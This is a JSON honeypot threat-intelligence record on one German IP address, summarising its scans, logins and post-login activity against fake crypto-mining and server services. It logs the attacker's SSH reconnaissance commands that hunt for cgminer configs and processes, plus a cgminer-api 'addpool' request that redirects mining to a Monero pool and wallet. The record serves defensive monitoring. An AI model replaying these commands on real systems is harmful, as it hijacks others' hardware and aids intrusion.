{"ip":"176.65.139.80","data_as_of":"2026-10-27T14:02:03+00:00","observed":true,"total_events":48,"verdict":{"verdict":"malicious","label":"Exploit attempts observed","detail":"48 interactive session(s) ran commands after logging in","confidence":"high","network_type":null,"why":["48 interactive session(s) logged in and ran commands.","The interactive sensors answer as a real service and record what the client did once inside, so this is activity after access.","The first-packet sensors recorded 48 event(s) from this address as well.","Not in any known-scanner range.","Sent 12,306 bytes, which is sustained payload delivery."],"engagement":{"level":"payload","label":"Sustained payload","detail":"12,306 bytes sent","bytes_sent":12306,"session_seconds":3,"persistent":false},"basis":"interactive"},"first_seen":"2026-04-29T20:18:16","last_seen":"2026-10-23T00:33:41","events_24h":0,"events_7d":7,"interactive_sessions":138,"interactive_sessions_24h":0,"interactive_sessions_7d":73,"interactive_protocols":[{"protocol":"cgminer-api","sessions":98},{"protocol":"http","sessions":28},{"protocol":"ssh","sessions":11}],"geo":{"country_code":"DE","country_name":"Germany","region":"","city":"","lat":51.2993,"lon":9.491,"asn":219502,"org":"Storm Industries LLC"},"source_domain":null,"known_scanners":[],"scanner_tag":null,"cve_matches":[],"malware":[],"udp":null,"interaction":{"window_days":90,"sessions":138,"first_seen":"2026-10-18T19:23:08","last_seen":"2026-10-22T21:56:46","verdicts":[{"verdict":"scan","sessions":70},{"verdict":"post-exploitation","sessions":48},{"verdict":"unknown","sessions":20}],"personas":[{"persona":"miner@cgminer 4.11.1","sessions":96},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1","sessions":18},{"persona":"linux-ubuntu@20.04","sessions":11},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, gitlab@19.4.2","sessions":4},{"persona":"miner@bfgminer 5.5.0","sessions":2},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, fortigate@7.2.1, docker@25.0.3","sessions":2},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, fortigate@7.0.5, docker@25.0.3","sessions":2},{"persona":"nginx@1.18.0, wordpress@6.5.2, leaks@1, miner@cgminer 4.11.1, elasticsearch@8.11.1, winrm@Windows Server 2019, dlink-dir645@1.03, fortigate@7.2.1, gitlab@19.4.2","sessions":1},{"persona":"nginx@1.24.0, wordpress@6.5.2, leaks@2, miner@bfgminer 5.5.0, elasticsearch@6.8.23, winrm@Windows Server 2016, dlink-dir645@1.01, fortigate@7.0.5, gitlab@19.4.2","sessions":1}],"services":[{"protocol":"cgminer-api","port":4028,"sessions":98},{"protocol":"http","port":8080,"sessions":17},{"protocol":"ssh","port":22,"sessions":11},{"protocol":"http","port":80,"sessions":3},{"protocol":"http","port":8546,"sessions":2},{"protocol":"http","port":8545,"sessions":2},{"protocol":"tcp","port":9944,"sessions":1},{"protocol":"http","port":4048,"sessions":1},{"protocol":"http","port":18088,"sessions":1},{"protocol":"http","port":3000,"sessions":1},{"protocol":"http","port":4444,"sessions":1}],"logins":[],"commands":[{"ts":"2026-10-21T22:41:10","session_id":"27f36280-1cf1-445e-8fd0-a1b8b4c8fc3c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"ss -tlnp 2>/dev/null; echo '---'; cat /proc/net/tcp | head -5; echo '---'; ls -la /proc/*/fd 2>/dev/null | grep socket | head -5; echo '---'; docker ps 2>/dev/null; sudo -n ss -tlnp 2>/dev/null | grep 4028","exit_code":0},{"ts":"2026-10-21T22:40:58","session_id":"6b0783a6-fcd6-4967-b596-15bc141e49e0","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"ps aux | grep -E 'miner|cgminer' | grep -v grep; echo '---'; ls /home/; echo '---'; ss -tlnp 2>/dev/null | grep 4028; echo '---'; find / -maxdepth 4 -name 'cgminer.conf' 2>/dev/null","exit_code":0},{"ts":"2026-10-21T22:40:51","session_id":"a4bc6b0c-7db6-43ba-83aa-52f074d4aa28","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"bash -s","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"ps aux | grep cgminer | grep -v grep | head -5","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"=== running process ===\"","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"cat /etc/config/cgminer.conf 2>/dev/null || \\\ncat /etc/config/miner_conf.json 2>/dev/null || \\\ncat /home/admin/cgminer.conf 2>/dev/null || \\\ncat /usr/bin/cgminer.conf 2>/dev/null || \\\nfind / -name \"cgminer.conf\" 2>/dev/null | head -3 | xargs cat 2>/dev/null","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"=== pool config ===\"","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"find / -name \"*.conf\" -o -name \"miner_conf*\" -o -name \"cgminer*\" 2>/dev/null | grep -v proc | head -20","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"id; uname -a","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"=== config files ===\"","exit_code":0},{"ts":"2026-10-21T22:40:34","session_id":"cd1ab104-a5f9-45d6-9b4c-80b5ebfa476d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo \"=== id + uname ===\"","exit_code":0},{"ts":"2026-10-21T22:40:24","session_id":"89fe7d54-0677-4813-9be8-22a3e07bf35d","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"id","exit_code":0},{"ts":"2026-10-21T22:40:23","session_id":"f4e74691-7db0-452c-9e14-54c209348e7a","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"cat /etc/config/miner_conf.json 2>/dev/null || cat /etc/config/cgminer.conf 2>/dev/null","exit_code":1},{"ts":"2026-10-20T10:56:27","session_id":"5418dd01-7a6f-464a-9e5f-c5d93ffd26f6","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"\niptables -L -t nat -n 2>/dev/null\niptables -L -n 2>/dev/null | head -20\nss -tlnp\nnetstat -tlnp 2>/dev/null\nls /etc/nginx/ 2>/dev/null\ncat /etc/nginx/sites-enabled/default 2>/dev/null | head -40\n","exit_code":0},{"ts":"2026-10-20T10:56:11","session_id":"35cf968f-6dce-404a-a2f7-045bc9744eb1","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"\n# Find what holds port 4028\nnetstat -tlnp 2>/dev/null | grep 4028\ncat /proc/net/tcp | grep \"0FBC\"\n# Find processes more aggressively  \nls /proc/*/fd 2>/dev/null | head -3\nfor pid in /proc/[0-9]*/; do\n  if readlink ${pid}fd/* 2>/dev/null | grep -q socket; then\n    ss_info=$(ss -tlnp 2>/dev/null | grep $(basename $pid))\n    [ -n \"$ss_info\" ] && echo \"PID $(basename $pid): $(cat ${pid}comm 2>/dev/null) - $ss_info\"\n  fi\ndone 2>/dev/null | head -10\n# PHP web root\nls /var/www/html/ 2>/dev/null | head -20\nls /var/www/ 2>/dev/null\n# What service is on 4028\ncat /etc/nginx/sites-enabled/* 2>/dev/null | grep -A2 -B2 4028\ncat /etc/apache2/sites-enabled/* 2>/dev/null | grep -A2 -B2 4028\n","exit_code":1},{"ts":"2026-10-20T10:55:51","session_id":"b6a76d87-9102-46eb-9c61-6057ef0b85a2","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"\necho \"=== ALL PROCESSES ===\"\nps aux | grep -E \"cg|miner|pool|btc\" | grep -v grep\necho \"=== DOCKER ===\"\ndocker ps 2>/dev/null || echo no-docker\necho \"=== PORT 4028 ===\"\nss -tlnp | grep 4028\nlsof -i :4028 2>/dev/null\necho \"=== SYSTEMD UNITS ===\"\nsystemctl list-units --state=running 2>/dev/null | grep -i miner\necho \"=== CRONTAB ===\"\ncrontab -l 2>/dev/null\n","exit_code":1},{"ts":"2026-10-20T10:55:23","session_id":"32ef9a02-8785-48f2-9d33-d5e074b39551","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"\necho \"=== FIND CONFIG ===\"\nfind / -name cgminer.conf -not -path \"/proc/*\" 2>/dev/null\necho \"=== CGMiner PID ===\"\nps aux | grep cgminer | grep -v grep\necho \"=== UNAME ===\"\nuname -a\necho \"=== HOSTNAME ===\"\nhostname\n","exit_code":0},{"ts":"2026-10-20T10:55:08","session_id":"4e9b7c6c-d4c7-4a42-b83f-e85ee6015e8c","protocol":"ssh","persona":"linux-ubuntu@20.04","command":"echo ok && cat /etc/cgminer.conf 2>/dev/null || find /root /home /etc -name cgminer.conf 2>/dev/null | head -3","exit_code":0}],"downloads":[],"files":[],"attack":[{"technique_id":"T1595","technique_name":"Active Scanning","tactic_id":"TA0043","tactic_name":"Reconnaissance","sessions":70},{"technique_id":"T1078","technique_name":"Valid Accounts","tactic_id":"TA0001","tactic_name":"Initial Access","sessions":11},{"technique_id":"T1059.004","technique_name":"Command and Scripting Interpreter: Unix Shell","tactic_id":"TA0002","tactic_name":"Execution","sessions":11},{"technique_id":"T1110","technique_name":"Brute Force","tactic_id":"TA0006","tactic_name":"Credential Access","sessions":11},{"technique_id":"T1496","technique_name":"Resource Hijacking","tactic_id":"TA0040","tactic_name":"Impact","sessions":35}]},"top_ports":[{"port":4028,"proto":"tcp","label":"CGMINER-API","count":0,"sessions":98},{"port":81,"proto":"tcp","label":"","count":30,"sessions":0},{"port":8080,"proto":"tcp","label":"HTTP-alt","count":0,"sessions":17},{"port":22,"proto":"tcp","label":"SSH","count":0,"sessions":11},{"port":16591,"proto":"tcp","label":"","count":6,"sessions":0},{"port":18082,"proto":"tcp","label":"","count":5,"sessions":0},{"port":8546,"proto":"tcp","label":"","count":3,"sessions":2},{"port":8332,"proto":"tcp","label":"","count":3,"sessions":0},{"port":80,"proto":"tcp","label":"HTTP","count":0,"sessions":3},{"port":8545,"proto":"tcp","label":"HTTP","count":0,"sessions":2},{"port":3500,"proto":"tcp","label":"","count":1,"sessions":0},{"port":3000,"proto":"tcp","label":"Web-alt","count":0,"sessions":1},{"port":4048,"proto":"tcp","label":"HTTP","count":0,"sessions":1},{"port":4444,"proto":"tcp","label":"HTTP","count":0,"sessions":1},{"port":9944,"proto":"tcp","label":"","count":0,"sessions":1}],"fingerprints":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":[],"tls_client_hello":"","tls_ja3":[],"http_akin":["b11cuq040_00050801_2daa70d6","b11cun040_00040016_4110f156","b11cun020_00040001_78f1f19c","b11cun000_00000000_334359b9","b10cuq030_00050800_e62b6d85"],"interactive":{"ssh_hassh":["aae6b9604f6f3356543709a376d7f657"],"tls_ja4":[],"tls_ja3":[]}},"fingerprint_peers":{"aae6b9604f6f3356543709a376d7f657":1,"b11cuq040_00050801_2daa70d6":87,"b11cun040_00040016_4110f156":264,"b10cuq030_00050800_e62b6d85":3,"b11cun000_00000000_334359b9":86,"b11cun020_00040001_78f1f19c":43},"akin_families":{"b11cuq040_00050801_2daa70d6":{"head":"b11cuq040_00050801_2daa70d6","shapes":2,"ips":87},"b11cun040_00040016_4110f156":{"head":"b11cun040_00040016_4110f156","shapes":3,"ips":264},"b11cun020_00040001_78f1f19c":{"head":"b11cun020_00040001_78f1f19c","shapes":4,"ips":43},"b11cun000_00000000_334359b9":{"head":"b11cun000_00000000_334359b9","shapes":2,"ips":86}},"user_agents":["Python/3.12 websockets/10.4","Python-urllib/3.12","Python/3.12 aiohttp/3.14.5"],"timeline":[{"date":"2026-10-18","count":3,"sessions":4},{"date":"2026-10-19","count":2,"sessions":1},{"date":"2026-10-20","count":6,"sessions":75},{"date":"2026-10-21","count":0,"sessions":50},{"date":"2026-10-22","count":6,"sessions":8},{"date":"2026-10-23","count":1,"sessions":0}],"recent_events":[{"timestamp":"2026-10-23T00:33:41","port":3500,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"accept\":\"*/*\",\"accept-encoding\":\"gzip, deflate\",\"host\":\"<HONEYPOT>:3500\",\"user-agent\":\"Python/3.12 aiohttp/3.14.5\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/eth/v1/node/syncing","summary":"","payload_hex":"474554202f6574682f76312f6e6f64652f73796e63696e6720485454502f312e310d0a486f73743a20<HONEYPOT>3a333530300d0a4163636570743a202a2f2a0d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174650d0a557365722d4167656e743a20507974686f6e2f332e31322061696f687474702f332e31342e350d0a0d0a","method":"GET","user_agent":"Python/3.12 aiohttp/3.14.5","ja3":"","session":"36ace68e-4ac7-4922-9c62-82d78dc71c1d","seq":1,"duration_ms":100,"bytes_in":149,"bytes_out":78},{"timestamp":"2026-10-22T23:45:43","port":16591,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:16591\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/wallet/getnodeinfo","summary":"","payload_hex":"474554202f77616c6c65742f6765746e6f6465696e666f20485454502f312e310d0a486f73743a20<HONEYPOT>3a31363539310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"b188083a-0547-495b-bb5c-25f2b263a1de","seq":1,"duration_ms":100,"bytes_in":81,"bytes_out":78},{"timestamp":"2026-10-22T22:35:58","port":16591,"proto":"tcp","app_proto":"","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:16591\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/wallet/getnodeinfo","summary":"","payload_hex":"474554202f77616c6c65742f6765746e6f6465696e666f20485454502f312e310d0a486f73743a20<HONEYPOT>3a31363539310d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"b8a7ef6d-8e97-498a-94ac-7cbb5f425773","seq":1,"duration_ms":100,"bytes_in":81,"bytes_out":78},{"timestamp":"2026-10-22T21:56:46","port":4028,"proto":"tcp","app_proto":"cgminer-api","app_protocol":"cgminer-api","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"{\"command\": \"addpool\", \"parameter\": \"stratum+tcp://pool.supportxmr.com:3333,44HcudZpjNeKietGDi3zYzdLHRkbVmBDqidYtZLJibMZiq1CVxzCuah9rqGabisK4jTj9GFmq795fdvW2UpNu3PxQusEiU5,x\"}","payload_hex":"7b22636f6d6d616e64223a2022616464706f6f6c222c2022706172616d65746572223a20227374726174756d2b7463703a2f2f706f6f6c2e737570706f7274786d722e636f6d3a333333332c3434486375645a706a4e654b696574474469337a597a644c48526b62566d424471696459745a4c4a69624d5a6971314356787a4375616839727147616269734b346a546a3947466d71373935666476573255704e75335078517573456955352c78227d","method":"","user_agent":"","ja3":"","session":"251babda-25bb-43f6-a01c-49398cb4f07d-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"13249216dbdbc998","strings":["{\"command\": \"addpool\", \"parameter\": \"stratum+tcp://pool.supportxmr.com:3333,44Hc…"],"iocs":{"domains":["pool.supportxmr.com"]}},"interactive":true},{"timestamp":"2026-10-22T21:56:46","port":4028,"proto":"tcp","app_proto":"cgminer-api","app_protocol":"cgminer-api","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\n","payload_hex":"0a","method":"","user_agent":"","ja3":"","session":"251babda-25bb-43f6-a01c-49398cb4f07d-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T21:55:41","port":4028,"proto":"tcp","app_proto":"cgminer-api","app_protocol":"cgminer-api","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"{\"command\":\"pools\"}","payload_hex":"7b22636f6d6d616e64223a22706f6f6c73227d","method":"","user_agent":"","ja3":"","session":"cb3ec097-e36d-4182-9da4-4b04a219a292-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"enriched":{"digest":"6391ab0f50452470","strings":["{\"command\":\"pools\"}"]},"interactive":true},{"timestamp":"2026-10-22T21:55:41","port":4028,"proto":"tcp","app_proto":"cgminer-api","app_protocol":"cgminer-api","host":"","headers":"","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"","summary":"\n","payload_hex":"0a","method":"","user_agent":"","ja3":"","session":"cb3ec097-e36d-4182-9da4-4b04a219a292-3","seq":3,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T21:54:58","port":18088,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:18088\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/1/summary","summary":"","payload_hex":"474554202f312f73756d6d61727920485454502f312e310d0a486f73743a203c484f4e4559504f543e3a31383038380d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"01316b75-2a6e-4d54-8621-06b6034b1c1d-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T21:54:58","port":4048,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:4048\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/1/summary","summary":"","payload_hex":"474554202f312f73756d6d61727920485454502f312e310d0a486f73743a203c484f4e4559504f543e3a343034380d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"ed32d817-1eb5-4b3f-a413-78c46e599b8e-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true},{"timestamp":"2026-10-22T21:54:57","port":3000,"proto":"tcp","app_proto":"http","app_protocol":"http","host":"<HONEYPOT>","headers":"{\"connection\":\"close\",\"host\":\"<HONEYPOT>:3000\"}","body":"","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/1/summary","summary":"","payload_hex":"474554202f312f73756d6d61727920485454502f312e310d0a486f73743a203c484f4e4559504f543e3a333030300d0a436f6e6e656374696f6e3a20636c6f73650d0a0d0a","method":"GET","user_agent":"","ja3":"","session":"f1c8f297-27fd-44c8-b7f1-72d1677b7b15-1","seq":1,"duration_ms":0,"bytes_in":0,"bytes_out":0,"interactive":true}],"http_methods":[{"method":"GET","count":15},{"method":"POST","count":12}],"distinct_ports_total":16,"top_paths":[{"path":"/","count":12,"ports":3},{"path":"/1/summary","count":5,"ports":5},{"path":"/wallet/getnodeinfo","count":4,"ports":1},{"path":"/json_rpc","count":3,"ports":1},{"path":"/eth/v1/node/syncing","count":1,"ports":1},{"path":"/wallet/getaccount","count":1,"ports":1},{"path":"/wallet/getnowblock","count":1,"ports":1}],"distinct_paths_total":7,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Host","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip, deflate","notable":false},{"name":"Host","value":"<HONEYPOT>:3500","notable":false},{"name":"User-Agent","value":"Python/3.12 aiohttp/3.14.5","notable":false}],"distinct_sets":2,"events_with_headers":6},"tags":[{"tag_id":"post-exploitation","tag_type":"interactive","label":"post-exploitation","title":"Ran commands after logging in","sessions":48},{"tag_id":"shell","tag_type":"interactive","label":"shell","title":"Typed shell commands","sessions":11},{"tag_id":"logins","tag_type":"interactive","label":"logins","title":"Tried logins","sessions":11}]}